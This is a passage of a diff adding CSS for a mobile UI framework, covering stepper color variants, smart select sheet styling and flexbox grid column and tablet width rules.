.stepper-button-minus:before, +.md .stepper.color-yellow.stepper-fill .stepper-button-plus:before, +.md .stepper.color-yellow.stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .stepper.color-orange .stepper-button, +.md .stepper.color-orange .stepper-button-minus, +.md .stepper.color-orange .stepper-button-plus { + border-color: #ff9800; + color: #ff9800; +} +.md .stepper.color-orange .stepper-button-plus:after, +.md .stepper.color-orange .stepper-button-minus:after, +.md .stepper.color-orange .stepper-button-plus:before, +.md .stepper.color-orange .stepper-button-minus:before { + background: #ff9800; +} +.md .stepper.color-orange .stepper-value, +.md .stepper.color-orange .stepper-input-wrap { + border-top-color: #ff9800; + border-bottom-color: #ff9800; +} +.md .stepper.color-orange .stepper-value { + color: #ff9800; +} +.md .stepper.color-orange .stepper-input-wrap input { + color: #ff9800; +} +.md .stepper.color-orange.stepper-fill .stepper-button, +.md .stepper.color-orange.stepper-fill-md .stepper-button, +.md .stepper.color-orange.stepper-fill .stepper-button-minus, +.md .stepper.color-orange.stepper-fill-md .stepper-button-minus, +.md .stepper.color-orange.stepper-fill .stepper-button-plus, +.md .stepper.color-orange.stepper-fill-md .stepper-button-plus { + background-color: #ff9800; + color: #fff; +} +.md .stepper.color-orange.stepper-fill .stepper-button.active-state, +.md .stepper.color-orange.stepper-fill-md .stepper-button.active-state, +.md .stepper.color-orange.stepper-fill .stepper-button-minus.active-state, +.md .stepper.color-orange.stepper-fill-md .stepper-button-minus.active-state, +.md .stepper.color-orange.stepper-fill .stepper-button-plus.active-state, +.md .stepper.color-orange.stepper-fill-md .stepper-button-plus.active-state { + background: #d68000; +} +.md .stepper.color-orange.stepper-fill .stepper-button:after, +.md .stepper.color-orange.stepper-fill-md .stepper-button:after, +.md .stepper.color-orange.stepper-fill .stepper-button-minus:after, +.md .stepper.color-orange.stepper-fill-md .stepper-button-minus:after, +.md .stepper.color-orange.stepper-fill .stepper-button-plus:after, +.md .stepper.color-orange.stepper-fill-md .stepper-button-plus:after, +.md .stepper.color-orange.stepper-fill .stepper-button:before, +.md .stepper.color-orange.stepper-fill-md .stepper-button:before, +.md .stepper.color-orange.stepper-fill .stepper-button-minus:before, +.md .stepper.color-orange.stepper-fill-md .stepper-button-minus:before, +.md .stepper.color-orange.stepper-fill .stepper-button-plus:before, +.md .stepper.color-orange.stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .stepper.color-gray .stepper-button, +.md .stepper.color-gray .stepper-button-minus, +.md .stepper.color-gray .stepper-button-plus { + border-color: #9e9e9e; + color: #9e9e9e; +} +.md .stepper.color-gray .stepper-button-plus:after, +.md .stepper.color-gray .stepper-button-minus:after, +.md .stepper.color-gray .stepper-button-plus:before, +.md .stepper.color-gray .stepper-button-minus:before { + background: #9e9e9e; +} +.md .stepper.color-gray .stepper-value, +.md .stepper.color-gray .stepper-input-wrap { + border-top-color: #9e9e9e; + border-bottom-color: #9e9e9e; +} +.md .stepper.color-gray .stepper-value { + color: #9e9e9e; +} +.md .stepper.color-gray .stepper-input-wrap input { + color: #9e9e9e; +} +.md .stepper.color-gray.stepper-fill .stepper-button, +.md .stepper.color-gray.stepper-fill-md .stepper-button, +.md .stepper.color-gray.stepper-fill .stepper-button-minus, +.md .stepper.color-gray.stepper-fill-md .stepper-button-minus, +.md .stepper.color-gray.stepper-fill .stepper-button-plus, +.md .stepper.color-gray.stepper-fill-md .stepper-button-plus { + background-color: #9e9e9e; + color: #fff; +} +.md .stepper.color-gray.stepper-fill .stepper-button.active-state, +.md .stepper.color-gray.stepper-fill-md .stepper-button.active-state, +.md .stepper.color-gray.stepper-fill .stepper-button-minus.active-state, +.md .stepper.color-gray.stepper-fill-md .stepper-button-minus.active-state, +.md .stepper.color-gray.stepper-fill .stepper-button-plus.active-state, +.md .stepper.color-gray.stepper-fill-md .stepper-button-plus.active-state { + background: #8a8a8a; +} +.md .stepper.color-gray.stepper-fill .stepper-button:after, +.md .stepper.color-gray.stepper-fill-md .stepper-button:after, +.md .stepper.color-gray.stepper-fill .stepper-button-minus:after, +.md .stepper.color-gray.stepper-fill-md .stepper-button-minus:after, +.md .stepper.color-gray.stepper-fill .stepper-button-plus:after, +.md .stepper.color-gray.stepper-fill-md .stepper-button-plus:after, +.md .stepper.color-gray.stepper-fill .stepper-button:before, +.md .stepper.color-gray.stepper-fill-md .stepper-button:before, +.md .stepper.color-gray.stepper-fill .stepper-button-minus:before, +.md .stepper.color-gray.stepper-fill-md .stepper-button-minus:before, +.md .stepper.color-gray.stepper-fill .stepper-button-plus:before, +.md .stepper.color-gray.stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .stepper.color-white .stepper-button, +.md .stepper.color-white .stepper-button-minus, +.md .stepper.color-white .stepper-button-plus { + border-color: #ffffff; + color: #ffffff; +} +.md .stepper.color-white .stepper-button-plus:after, +.md .stepper.color-white .stepper-button-minus:after, +.md .stepper.color-white .stepper-button-plus:before, +.md .stepper.color-white .stepper-button-minus:before { + background: #ffffff; +} +.md .stepper.color-white .stepper-value, +.md .stepper.color-white .stepper-input-wrap { + border-top-color: #ffffff; + border-bottom-color: #ffffff; +} +.md .stepper.color-white .stepper-value { + color: #ffffff; +} +.md .stepper.color-white .stepper-input-wrap input { + color: #ffffff; +} +.md .stepper.color-white.stepper-fill .stepper-button, +.md .stepper.color-white.stepper-fill-md .stepper-button, +.md .stepper.color-white.stepper-fill .stepper-button-minus, +.md .stepper.color-white.stepper-fill-md .stepper-button-minus, +.md .stepper.color-white.stepper-fill .stepper-button-plus, +.md .stepper.color-white.stepper-fill-md .stepper-button-plus { + background-color: #ffffff; + color: #fff; +} +.md .stepper.color-white.stepper-fill .stepper-button.active-state, +.md .stepper.color-white.stepper-fill-md .stepper-button.active-state, +.md .stepper.color-white.stepper-fill .stepper-button-minus.active-state, +.md .stepper.color-white.stepper-fill-md .stepper-button-minus.active-state, +.md .stepper.color-white.stepper-fill .stepper-button-plus.active-state, +.md .stepper.color-white.stepper-fill-md .stepper-button-plus.active-state { + background: #ebebeb; +} +.md .stepper.color-white.stepper-fill .stepper-button:after, +.md .stepper.color-white.stepper-fill-md .stepper-button:after, +.md .stepper.color-white.stepper-fill .stepper-button-minus:after, +.md .stepper.color-white.stepper-fill-md .stepper-button-minus:after, +.md .stepper.color-white.stepper-fill .stepper-button-plus:after, +.md .stepper.color-white.stepper-fill-md .stepper-button-plus:after, +.md .stepper.color-white.stepper-fill .stepper-button:before, +.md .stepper.color-white.stepper-fill-md .stepper-button:before, +.md .stepper.color-white.stepper-fill .stepper-button-minus:before, +.md .stepper.color-white.stepper-fill-md .stepper-button-minus:before, +.md .stepper.color-white.stepper-fill .stepper-button-plus:before, +.md .stepper.color-white.stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .stepper.color-black .stepper-button, +.md .stepper.color-black .stepper-button-minus, +.md .stepper.color-black .stepper-button-plus { + border-color: #000000; + color: #000000; +} +.md .stepper.color-black .stepper-button-plus:after, +.md .stepper.color-black .stepper-button-minus:after, +.md .stepper.color-black .stepper-button-plus:before, +.md .stepper.color-black .stepper-button-minus:before { + background: #000000; +} +.md .stepper.color-black .stepper-value, +.md .stepper.color-black .stepper-input-wrap { + border-top-color: #000000; + border-bottom-color: #000000; +} +.md .stepper.color-black .stepper-value { + color: #000000; +} +.md .stepper.color-black .stepper-input-wrap input { + color: #000000; +} +.md .stepper.color-black.stepper-fill .stepper-button, +.md .stepper.color-black.stepper-fill-md .stepper-button, +.md .stepper.color-black.stepper-fill .stepper-button-minus, +.md .stepper.color-black.stepper-fill-md .stepper-button-minus, +.md .stepper.color-black.stepper-fill .stepper-button-plus, +.md .stepper.color-black.stepper-fill-md .stepper-button-plus { + background-color: #000000; + color: #fff; +} +.md .stepper.color-black.stepper-fill .stepper-button.active-state, +.md .stepper.color-black.stepper-fill-md .stepper-button.active-state, +.md .stepper.color-black.stepper-fill .stepper-button-minus.active-state, +.md .stepper.color-black.stepper-fill-md .stepper-button-minus.active-state, +.md .stepper.color-black.stepper-fill .stepper-button-plus.active-state, +.md .stepper.color-black.stepper-fill-md .stepper-button-plus.active-state { + background: #000000; +} +.md .stepper.color-black.stepper-fill .stepper-button:after, +.md .stepper.color-black.stepper-fill-md .stepper-button:after, +.md .stepper.color-black.stepper-fill .stepper-button-minus:after, +.md .stepper.color-black.stepper-fill-md .stepper-button-minus:after, +.md .stepper.color-black.stepper-fill .stepper-button-plus:after, +.md .stepper.color-black.stepper-fill-md .stepper-button-plus:after, +.md .stepper.color-black.stepper-fill .stepper-button:before, +.md .stepper.color-black.stepper-fill-md .stepper-button:before, +.md .stepper.color-black.stepper-fill .stepper-button-minus:before, +.md .stepper.color-black.stepper-fill-md .stepper-button-minus:before, +.md .stepper.color-black.stepper-fill .stepper-button-plus:before, +.md .stepper.color-black.stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +/* === Smart Select === */ +.smart-select select { + display: none; +} +.smart-select .item-after { + max-width: 70%; + overflow: hidden; + text-overflow: ellipsis; + position: relative; + display: block; +} +.sheet-modal.smart-select-sheet .sheet-modal-inner { + background: #fff; +} +.sheet-modal.smart-select-sheet .list { + margin: 0; +} +.sheet-modal.smart-select-sheet .list ul:before { + display: none !important; +} +.sheet-modal.smart-select-sheet .list ul:after { + display: none !important; +} +.smart-select-popover .popover-inner { + max-height: 40vh; +} +.ios .smart-select-sheet .page { + background: #fff; +} +.ios .smart-select-sheet .toolbar:after { + content: ''; + position: absolute; + background-color: #c4c4c4; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .smart-select-sheet .toolbar:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .smart-select-sheet .toolbar:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .theme-dark .smart-select-sheet .page, +.ios .theme-dark .smart-select-sheet .sheet-modal-inner { + background-color: #1c1c1d; +} +.ios .theme-dark .smart-select-sheet .toolbar:after { + background-color: #282829; +} +.md .theme-dark .sheet-modal.smart-select-sheet .sheet-modal-inner { + background-color: transparent; +} +/* === Grid === */ +.row { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-flex-wrap: wrap; + -ms-flex-wrap: wrap; + flex-wrap: wrap; + -webkit-box-align: start; + -webkit-align-items: flex-start; + -ms-flex-align: start; + align-items: flex-start; +} +.row > [class*="col-"], +.row > .col { + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.row .col { + width: 100%; +} +/* === Grid === */ +.ios .row .col-100 { + width: 100%; + width: calc((100% - 15px*0) / 1); +} +.ios .row.no-gap .col-100 { + width: 100%; +} +.ios .row .col-95 { + width: 95%; + width: calc((100% - 15px*0.05263157894736836) / 1.0526315789473684); +} +.ios .row.no-gap .col-95 { + width: 95%; +} +.ios .row .col-90 { + width: 90%; + width: calc((100% - 15px*0.11111111111111116) / 1.1111111111111112); +} +.ios .row.no-gap .col-90 { + width: 90%; +} +.ios .row .col-85 { + width: 85%; + width: calc((100% - 15px*0.17647058823529416) / 1.1764705882352942); +} +.ios .row.no-gap .col-85 { + width: 85%; +} +.ios .row .col-80 { + width: 80%; + width: calc((100% - 15px*0.25) / 1.25); +} +.ios .row.no-gap .col-80 { + width: 80%; +} +.ios .row .col-75 { + width: 75%; + width: calc((100% - 15px*0.33333333333333326) / 1.3333333333333333); +} +.ios .row.no-gap .col-75 { + width: 75%; +} +.ios .row .col-70 { + width: 70%; + width: calc((100% - 15px*0.4285714285714286) / 1.4285714285714286); +} +.ios .row.no-gap .col-70 { + width: 70%; +} +.ios .row .col-66 { + width: 66.66666666666666%; + width: calc((100% - 15px*0.5000000000000002) / 1.5000000000000002); +} +.ios .row.no-gap .col-66 { + width: 66.66666666666666%; +} +.ios .row .col-65 { + width: 65%; + width: calc((100% - 15px*0.5384615384615385) / 1.5384615384615385); +} +.ios .row.no-gap .col-65 { + width: 65%; +} +.ios .row .col-60 { + width: 60%; + width: calc((100% - 15px*0.6666666666666667) / 1.6666666666666667); +} +.ios .row.no-gap .col-60 { + width: 60%; +} +.ios .row .col-55 { + width: 55%; + width: calc((100% - 15px*0.8181818181818181) / 1.8181818181818181); +} +.ios .row.no-gap .col-55 { + width: 55%; +} +.ios .row .col-50 { + width: 50%; + width: calc((100% - 15px*1) / 2); +} +.ios .row.no-gap .col-50 { + width: 50%; +} +.ios .row .col-45 { + width: 45%; + width: calc((100% - 15px*1.2222222222222223) / 2.2222222222222223); +} +.ios .row.no-gap .col-45 { + width: 45%; +} +.ios .row .col-40 { + width: 40%; + width: calc((100% - 15px*1.5) / 2.5); +} +.ios .row.no-gap .col-40 { + width: 40%; +} +.ios .row .col-35 { + width: 35%; + width: calc((100% - 15px*1.8571428571428572) / 2.857142857142857); +} +.ios .row.no-gap .col-35 { + width: 35%; +} +.ios .row .col-33 { + width: 33.333333333333336%; + width: calc((100% - 15px*2) / 3); +} +.ios .row.no-gap .col-33 { + width: 33.333333333333336%; +} +.ios .row .col-30 { + width: 30%; + width: calc((100% - 15px*2.3333333333333335) / 3.3333333333333335); +} +.ios .row.no-gap .col-30 { + width: 30%; +} +.ios .row .col-25 { + width: 25%; + width: calc((100% - 15px*3) / 4); +} +.ios .row.no-gap .col-25 { + width: 25%; +} +.ios .row .col-20 { + width: 20%; + width: calc((100% - 15px*4) / 5); +} +.ios .row.no-gap .col-20 { + width: 20%; +} +.ios .row .col-15 { + width: 15%; + width: calc((100% - 15px*5.666666666666667) / 6.666666666666667); +} +.ios .row.no-gap .col-15 { + width: 15%; +} +.ios .row .col-10 { + width: 10%; + width: calc((100% - 15px*9) / 10); +} +.ios .row.no-gap .col-10 { + width: 10%; +} +.ios .row .col-5 { + width: 5%; + width: calc((100% - 15px*19) / 20); +} +.ios .row.no-gap .col-5 { + width: 5%; +} +.ios .row .col:nth-last-child(1), +.ios .row .col:nth-last-child(1) ~ .col { + width: 100%; + width: calc((100% - 15px*0) / 1); +} +.ios .row.no-gap .col:nth-last-child(1), +.ios .row.no-gap .col:nth-last-child(1) ~ .col { + width: 100%; +} +.ios .row .col:nth-last-child(2), +.ios .row .col:nth-last-child(2) ~ .col { + width: 50%; + width: calc((100% - 15px*1) / 2); +} +.ios .row.no-gap .col:nth-last-child(2), +.ios .row.no-gap .col:nth-last-child(2) ~ .col { + width: 50%; +} +.ios .row .col:nth-last-child(3), +.ios .row .col:nth-last-child(3) ~ .col { + width: 33.33333333%; + width: calc((100% - 15px*2) / 3); +} +.ios .row.no-gap .col:nth-last-child(3), +.ios .row.no-gap .col:nth-last-child(3) ~ .col { + width: 33.33333333%; +} +.ios .row .col:nth-last-child(4), +.ios .row .col:nth-last-child(4) ~ .col { + width: 25%; + width: calc((100% - 15px*3) / 4); +} +.ios .row.no-gap .col:nth-last-child(4), +.ios .row.no-gap .col:nth-last-child(4) ~ .col { + width: 25%; +} +.ios .row .col:nth-last-child(5), +.ios .row .col:nth-last-child(5) ~ .col { + width: 20%; + width: calc((100% - 15px*4) / 5); +} +.ios .row.no-gap .col:nth-last-child(5), +.ios .row.no-gap .col:nth-last-child(5) ~ .col { + width: 20%; +} +.ios .row .col:nth-last-child(6), +.ios .row .col:nth-last-child(6) ~ .col { + width: 16.66666667%; + width: calc((100% - 15px*5) / 6); +} +.ios .row.no-gap .col:nth-last-child(6), +.ios .row.no-gap .col:nth-last-child(6) ~ .col { + width: 16.66666667%; +} +.ios .row .col:nth-last-child(7), +.ios .row .col:nth-last-child(7) ~ .col { + width: 14.28571429%; + width: calc((100% - 15px*6) / 7); +} +.ios .row.no-gap .col:nth-last-child(7), +.ios .row.no-gap .col:nth-last-child(7) ~ .col { + width: 14.28571429%; +} +.ios .row .col:nth-last-child(8), +.ios .row .col:nth-last-child(8) ~ .col { + width: 12.5%; + width: calc((100% - 15px*7) / 8); +} +.ios .row.no-gap .col:nth-last-child(8), +.ios .row.no-gap .col:nth-last-child(8) ~ .col { + width: 12.5%; +} +.ios .row .col:nth-last-child(9), +.ios .row .col:nth-last-child(9) ~ .col { + width: 11.11111111%; + width: calc((100% - 15px*8) / 9); +} +.ios .row.no-gap .col:nth-last-child(9), +.ios .row.no-gap .col:nth-last-child(9) ~ .col { + width: 11.11111111%; +} +.ios .row .col:nth-last-child(10), +.ios .row .col:nth-last-child(10) ~ .col { + width: 10%; + width: calc((100% - 15px*9) / 10); +} +.ios .row.no-gap .col:nth-last-child(10), +.ios .row.no-gap .col:nth-last-child(10) ~ .col { + width: 10%; +} +.ios .row .col:nth-last-child(11), +.ios .row .col:nth-last-child(11) ~ .col { + width: 9.09090909%; + width: calc((100% - 15px*10) / 11); +} +.ios .row.no-gap .col:nth-last-child(11), +.ios .row.no-gap .col:nth-last-child(11) ~ .col { + width: 9.09090909%; +} +.ios .row .col:nth-last-child(12), +.ios .row .col:nth-last-child(12) ~ .col { + width: 8.33333333%; + width: calc((100% - 15px*11) / 12); +} +.ios .row.no-gap .col:nth-last-child(12), +.ios .row.no-gap .col:nth-last-child(12) ~ .col { + width: 8.33333333%; +} +.ios .row .col:nth-last-child(13), +.ios .row .col:nth-last-child(13) ~ .col { + width: 7.69230769%; + width: calc((100% - 15px*12) / 13); +} +.ios .row.no-gap .col:nth-last-child(13), +.ios .row.no-gap .col:nth-last-child(13) ~ .col { + width: 7.69230769%; +} +.ios .row .col:nth-last-child(14), +.ios .row .col:nth-last-child(14) ~ .col { + width: 7.14285714%; + width: calc((100% - 15px*13) / 14); +} +.ios .row.no-gap .col:nth-last-child(14), +.ios .row.no-gap .col:nth-last-child(14) ~ .col { + width: 7.14285714%; +} +.ios .row .col:nth-last-child(15), +.ios .row .col:nth-last-child(15) ~ .col { + width: 6.66666667%; + width: calc((100% - 15px*14) / 15); +} +.ios .row.no-gap .col:nth-last-child(15), +.ios .row.no-gap .col:nth-last-child(15) ~ .col { + width: 6.66666667%; +} +.ios .row .col:nth-last-child(16), +.ios .row .col:nth-last-child(16) ~ .col { + width: 6.25%; + width: calc((100% - 15px*15) / 16); +} +.ios .row.no-gap .col:nth-last-child(16), +.ios .row.no-gap .col:nth-last-child(16) ~ .col { + width: 6.25%; +} +.ios .row .col:nth-last-child(17), +.ios .row .col:nth-last-child(17) ~ .col { + width: 5.88235294%; + width: calc((100% - 15px*16) / 17); +} +.ios .row.no-gap .col:nth-last-child(17), +.ios .row.no-gap .col:nth-last-child(17) ~ .col { + width: 5.88235294%; +} +.ios .row .col:nth-last-child(18), +.ios .row .col:nth-last-child(18) ~ .col { + width: 5.55555556%; + width: calc((100% - 15px*17) / 18); +} +.ios .row.no-gap .col:nth-last-child(18), +.ios .row.no-gap .col:nth-last-child(18) ~ .col { + width: 5.55555556%; +} +.ios .row .col:nth-last-child(19), +.ios .row .col:nth-last-child(19) ~ .col { + width: 5.26315789%; + width: calc((100% - 15px*18) / 19); +} +.ios .row.no-gap .col:nth-last-child(19), +.ios .row.no-gap .col:nth-last-child(19) ~ .col { + width: 5.26315789%; +} +.ios .row .col:nth-last-child(20), +.ios .row .col:nth-last-child(20) ~ .col { + width: 5%; + width: calc((100% - 15px*19) / 20); +} +.ios .row.no-gap .col:nth-last-child(20), +.ios .row.no-gap .col:nth-last-child(20) ~ .col { + width: 5%; +} +.ios .row .col:nth-last-child(21), +.ios .row .col:nth-last-child(21) ~ .col { + width: 4.76190476%; + width: calc((100% - 15px*20) / 21); +} +.ios .row.no-gap .col:nth-last-child(21), +.ios .row.no-gap .col:nth-last-child(21) ~ .col { + width: 4.76190476%; +} +@media (min-width: 768px) { + .ios .row .tablet-100 { + width: 100%; + width: calc((100% - 15px*0) / 1); + } + .ios .row.no-gap .tablet-100 { + width: 100%; + } + .ios .row .tablet-95 { + width: 95%; + width: calc((100% - 15px*0.05263157894736836) / 1.0526315789473684); + } + .ios .row.no-gap .tablet-95 { + width: 95%; + } + .ios .row .tablet-90 { + width: 90%; + width: calc((100% - 15px*0.11111111111111116) / 1.1111111111111112); + } + .ios .row.no-gap .tablet-90 { + width: 90%; + } + .ios .row .tablet-85 { + width: 85%; + width: calc((100% - 15px*0.17647058823529416) / 1.1764705882352942); + } + .ios .row.no-gap .tablet-85 { + width: 85%; + } + .ios .row .tablet-80 { + width: 80%; + width: calc((100% - 15px*0.25) / 1.25); + } + .ios .row.no-gap .tablet-80 { + width: 80%; + } + .ios .row .tablet-75 { + width: 75%; + width: calc((100% - 15px*0.33333333333333326) / 1.3333333333333333); + } + .ios .row.no-gap .tablet-75 { + width: 75%; + } + .ios .row .tablet-70 { + width: 70%; + width: calc((100% - 15px*0.4285714285714286) / 1.4285714285714286); + } + .ios .row.no-gap .tablet-70 { + width: 70%; + } + .ios .row .tablet-66 { + width: 66.66666666666666%; + width: calc((100% - 15px*0.5000000000000002) / 1.5000000000000002); + } + .ios .row.no-gap .tablet-66 { + width: 66.66666666666666%; + } + .ios .row .tablet-65 { + width: 65%; + width: calc((100% - 15px*0.5384615384615385) / 1.5384615384615385); + } + .ios .row.no-gap .tablet-65 { + width: 65%; + } + .ios .row .tablet-60 { + width: 60%; + width: calc((100% - 15px*0.6666666666666667) / 1.6666666666666667); + } + .ios .row.no-gap .tablet-60 { + width: 60%; + } + .ios .row .tablet-55 { + width: 55%; + width: calc((100% - 15px*0.8181818181818181) / 1.8181818181818181); + } + .ios .row.no-gap .tablet-55 { + width: 55%; + } + .ios .row .tablet-50 { + width: 50%; + width: calc((100% - 15px*1) / 2); + } + .ios .row.no-gap .tablet-50 { + width: 50%; + } + .ios .row .tablet-45 { + width: 45%; + width: calc((100% - 15px*1.2222222222222223) / 2.2222222222222223); + } + .ios .row.no-gap .tablet-45 { + width: 45%; + } + .ios .row .tablet-40 { + width: 40%; + width: calc((100% - 15px*1.5) / 2.5); + } + .ios .row.no-gap .tablet-40 { + width: 40%; + } + .ios .row .tablet-35 { + width: 35%; + width: calc((100% - 15px*1.8571428571428572) / 2.857142857142857); + } + .ios .row.no-gap .tablet-35 { + width: 35%; + } + .ios .row .tablet-33 { + width: 33.333333333333336%; + width: calc((100% - 15px*2) / 3); + } + .ios .row.no-gap .tablet-33 { + width: 33.333333333333336%; + } + .ios .row .tablet-30 { + width: 30%; + width: calc((100% - 15px*2.3333333333333335) / 3.3333333333333335); + } + .ios .row.no-gap .tablet-30 { + width: 30%; + } + .ios .row .tablet-25 { + width: 25%; + width: calc((100% - 15px*3) / 4); + } + .ios .row.no-gap .tablet-25 { + width: 25%; + } + .ios .row .tablet-20 { + width: 20%; + width: calc((100% - 15px*4) / 5); + } + .ios .row.no-gap .tablet-20 { + width: 20%; + } + .ios .row .tablet-15 { + width: 15%; + width: calc((100% - 15px*5.666666666666667) / 6.666666666666667); + } + .ios .row.no-gap .tablet-15 { + width: 15%; + } + .ios .row .tablet-10 { + width: 10%; + width: calc((100% - 15px*9) / 10); + } + .ios .row.no-gap .tablet-10 { + width: 10%; + } + .ios .row .tablet-5 { + width: 5%; + width: calc((100% - 15px*19) / 20); + } + .ios .row.no-gap .tablet-5 { + width: 5%; + } + .ios .row .tablet-auto:nth-last-child(1), + .ios .row .tablet-auto:nth-last-child(1) ~ .tablet-auto { + width: 100%; + width: calc((100% - 15px*0) / 1); + } + .ios .row.no-gap .tablet-auto:nth-last-child(1), + .ios .row.no-gap .tablet-auto:nth-last-child(1) ~ .tablet-auto { + width: 100%; + } + .ios .row .tablet-auto:nth-last-child(2), + .ios .row .tablet-auto:nth-last-child(2) ~ .tablet-auto { + width: 50%; + width: calc((100% - 15px*1) / 2); + } + .ios .row.no-gap .tablet-auto:nth-last-child(2), + .ios .row.no-gap .tablet-auto:nth-last-child(2) ~ .tablet-auto { + width: 50%; + } + .ios .row .tablet-auto:nth-last-child(3), + .ios .row .tablet-auto:nth-last-child(3) ~ .tablet-auto { + width: 33.33333333%; + width: calc((100% - 15px*2) / 3); + } + .ios .row.no-gap .tablet-auto:nth-last-child(3), + .ios .row.no-gap .tablet-auto:nth-last-child(3) ~ .tablet-auto { + width: 33.33333333%; + } + .ios .row .tablet-auto:nth-last-child(4), + .ios .row .tablet-auto:nth-last-child(4) ~ .tablet-auto { + width: 25%; + width: calc((100% - 15px*3) / 4); + } + .ios .row.no-gap .tablet-auto:nth-last-child(4), + .ios .row.no-gap .tablet-auto:nth-last-child(4) ~ .tablet-auto { + width: 25%; + } + .ios .row .tablet-auto:nth-last-child(5), + .ios .row .tablet-auto:nth-last-child(5) ~ .tablet-auto { + width: 20%; + width: calc((100% - 15px*4) / 5); + } + .ios .row.no-gap .tablet-auto:nth-last-child(5), + .ios .row.no-gap .tablet-auto:nth-last-child(5) ~ .tablet-auto { + width: 20%; + } + .ios .row .tablet-auto:nth-last-child(6), + .ios .row .tablet-auto:nth-last-child(6) ~ .tablet-auto { + width: 16.66666667%; + width: calc((100% - 15px*5) / 6); + } + .ios .row.no-gap .tablet-auto:nth-last-child(6), + .ios .row.no-gap .tablet-auto:nth-last-child(6) ~ .tablet-auto { + width: 16.66666667%; + } + .ios .row .tablet-auto:nth-last-child(7), + .ios .row .tablet-auto:nth-last-child(7) ~ .tablet-auto { + width: 14.28571429%; + width: calc((100% - 15px*6) / 7); + } + .ios .row.no-gap .tablet-auto:nth-last-child(7), + .ios .row.no-gap .tablet-auto:nth-last-child(7) ~ .tablet-auto { + width: 14.28571429%; + } + .ios .row .tablet-auto:nth-last-child(8), + .ios .row .tablet-auto:nth-last-child(8) ~ .tablet-auto { + width: 12.5%; + width: calc((100% - 15px*7) / 8); + } + .ios .row.no-gap .tablet-auto:nth-last-child(8), + .ios .row.no-gap .tablet-auto:nth-last-child(8) ~ .tablet-auto { + width: 12.5%; + } + .ios .row .tablet-auto:nth-last-child(9), + .ios .row .tablet-auto:nth-last-child(9) ~ .tablet-auto { + width: 11.11111111%; + width: calc((100% - 15px*8) / 9); + } + .ios .row.no-gap .tablet-auto:nth-last-child(9), + .ios .row.no-gap .tablet-auto:nth-last-child(9) ~ .tablet-auto { + width: 11.11111111%; + } + .ios .row .tablet-auto:nth-last-child(10), + .ios .row .tablet-auto:nth-last-child(10) ~ .tablet-auto { + width: 10%; + width: calc((100% - 15px*9) / 10); + } + .ios .row.no-gap .tablet-auto:nth-last-child(10), + .ios .row.no-gap .tablet-auto:nth-last-child(10) ~ .tablet-auto { + width: 10%; + } + .ios .row .tablet-auto:nth-last-child(11), + .ios .row .tablet-auto:nth-last-child(11) ~ .tablet-auto { + width: 9.09090909%; + width: calc((100% - 15px*10) / 11); + } + .ios .row.no-gap .tablet-auto:nth-last-child(11), + .ios .row.no-gap .tablet-auto:nth-last-child(11) ~ .tablet-auto { + width: 9.09090909%; + } + .ios .row .tablet-auto:nth-last-child(12), + .ios .row .tablet-auto:nth-last-child(12) ~ .tablet-auto { + width: 8.33333333%; + width: calc((100% - 15px*11) / 12); + } + .ios .row.no-gap .tablet-auto:nth-last-child(12), + .ios .row.no-gap .tablet-auto:nth-last-child(12) ~ .tablet-auto { + width: 8.33333333%; + } + .ios .row .tablet-auto:nth-last-child(13), + .ios .row .tablet-auto:nth-last-child(13) ~ .tablet-auto { + width: 7.69230769%; + width: calc((100% - 15px*12) / 13); + } + .ios .row.no-gap .tablet-auto:nth-last-child(13), + .ios .row.no-gap .tablet-auto:nth-last-child(13) ~ .tablet-auto { + width: 7.69230769%; + } + .ios .row .tablet-auto:nth-last-child(14), + .ios .row .tablet-auto:nth-last-child(14) ~ .tablet-auto { + width: 7.14285714%; + width: calc((100% - 15px*13) / 14); + } + .ios .row.no-gap .tablet-auto:nth-last-child(14), + .ios .row.no-gap .tablet-auto:nth-last-child(14) ~ .tablet-auto { + width: 7.14285714%; + } + .ios .row .tablet-auto:nth-last-child(15), + .ios .row .tablet-auto:nth-last-child(15) ~ .tablet-auto { + width: 6.66666667%; + width: calc((100% - 15px*14) / 15); + } + .ios .row.no-gap .tablet-auto:nth-last-child(15), + .ios .row.no-gap .tablet-auto:nth-last-child(15) ~ .tablet-auto { + width: 6.66666667%; + } + .ios .row .tablet-auto:nth-last-child(16), + .ios .row .tablet-auto:nth-last-child(16) ~ .tablet-auto { + width: 6.25%; + width: calc((100% - 15px*15) / 16); + } + .ios .row.no-gap .tablet-auto:nth-last-child(16), + .ios .row.no-gap .tablet-auto:nth-last-child(16) ~ .tablet-auto { + width: 6.25%; + } + .ios .row .tablet-auto:nth-last-child(17), + .ios .row .tablet-auto:nth-last-child(17) ~ .tablet-auto { + width: 5.88235294%; + width: calc((100% - 15px*16) / 17); + } + .ios .row.no-gap .tablet-auto:nth-last-child(17), + .ios .row.no-gap .tablet-auto:nth-last-child(17) ~ .tablet-auto { + width: 5.88235294%; + } + .ios .row .tablet-auto:nth-last-child(18), + .ios .row .tablet-auto:nth-last-child(18) ~ .tablet-auto { + width: 5.55555556%; + width: calc((100% - 15px*17) / 18); + } + .ios .row.no-gap .tablet-auto:nth-last-child(18), + .ios .row.no-gap .tablet-auto:nth-last-child(18) ~ .tablet-auto { + width: 5.55555556%; + } + .ios .row .tablet-auto:nth-last-child(19), + .ios .row .tablet-auto:nth-last-child(19) ~ .tablet-auto { + width: 5.26315789%; + width: calc((100% - 15px*18) / 19); + } + .ios .row.no-gap .tablet-auto:nth-last-child(19), + .ios .row.no-gap .tablet-auto:nth-last-child(19) ~ .tablet-auto { + width: 5.26315789%; + } + .ios .row .tablet-auto:nth-last-child(20), + .ios .row .tablet-auto:nth-last-child(20) ~ .tablet-auto { + width: 5%; + width: calc((100% - 15px*19) / 20); + } + .ios .row.no-gap .tablet-auto:nth-last-child(20), + 